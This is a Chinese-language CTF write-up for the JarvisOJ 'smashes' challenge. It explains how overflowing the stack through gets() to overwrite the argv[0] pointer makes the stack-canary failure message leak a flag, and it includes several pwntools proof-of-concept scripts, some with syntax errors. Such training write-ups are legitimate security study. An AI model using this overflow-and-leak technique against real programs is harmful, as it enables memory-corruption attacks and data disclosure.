ssp leak
故意触发栈溢出保护。
题目地址:https://dn.jarvisoj.com/challengefiles/smashes.44838f6edd4408a53feb2e2bbfe5b229
关于canary对于栈的保护,它的值一旦被改变程序便会结束。后面会把找到的与栈有关的放在一起。
过程:
文件的堆栈保护开启,随机地址没有的话方便我们对特殊位置进行溢出覆盖。
使用ida加载找到关键部分。
使用了gets函数很开心的是我们可以通过gets函数进行任意长度的写入。但是因为传入的字符串末尾用 '/n' 结束,没法绕过canary的检测。
example关于canary的值,在最高位都是 '0x00'结束。为的就是如果在canary的上方输入的字符串,一般都是用0截断,如果我们将字符串的空间写满紧挨着canary的位置。那么当输出这个字符串的时候,这个没有截断的canary的值很容易就被打印出来。
在这个程序中没有地方打印出flag的地方,也没办法绕过检测。那么如果故意触发canary的检测,能不能让canary打印出我们要的东西。
正常情况下当我们触发检测的时候程序会进入检测报错的函数,看下它的源码。
__stack_chk_fail :
void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}
fortify_fail:
void
__attribute__ ((noreturn))
__fortify_fail (msg)
constchar*msg; {
/* The loop is added only to keep gcc happy. */
while(1)
__libc_message (2,"*** %s ***: %s terminated\n", msg, __libc_argv[0] ?:"")
}
libc_hidden_def (__fortify_fail)
只要我们覆盖掉指向argv[0]的指针,那么就能输出想要的值。
尝试下:
poc 1.0
from pwn import*
//a.process('smaches')
//a= remote('pwn.jarvisoj.com', 9877)
a.recv()
cn.sendline(p64(0x0000000000600D20)*264)
a.recv()
a.sendline()
a.interactive()
可并没有按照我的预期打印出flag,但换成其他的地址都成功打印出来了。
在后来查的时候找到了这道题的blog,https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/?tdsourcetag=s_pctim_aiomsg 里面还有很多canary的总结。
原因是在fun1的末尾有这样一句
在0x0000000000600D20位置的flag已经被覆盖掉了,这个位置的flag已经找不到了。
在接下来用的就是ELF的重映射,如果加载的文件体积足够小,那么很有可能在其他地方也被加载。gdb调试,注意断点位置。如果运行到结束地址的数据会被覆盖。继而找不到。
poc2
from pwn import*
context.log_level = 'debug'
a=remote("pwn.jarvisoj.com","9877")
a.recv()
cn.sendline(p64(0x400d20)*264)
a.recv()
a.sendline(‘hello')
a.interactive()
ps:我们要求的只是触发canary保护,所以只要比字符串的栈空间大就行
a = process('pwn_smashes')
a.recv()
a.sendline(p64(0x0000000000400934)*200)#直接用我们所需的地址占满整个栈
a.recv()
a.sendline()
a.recv()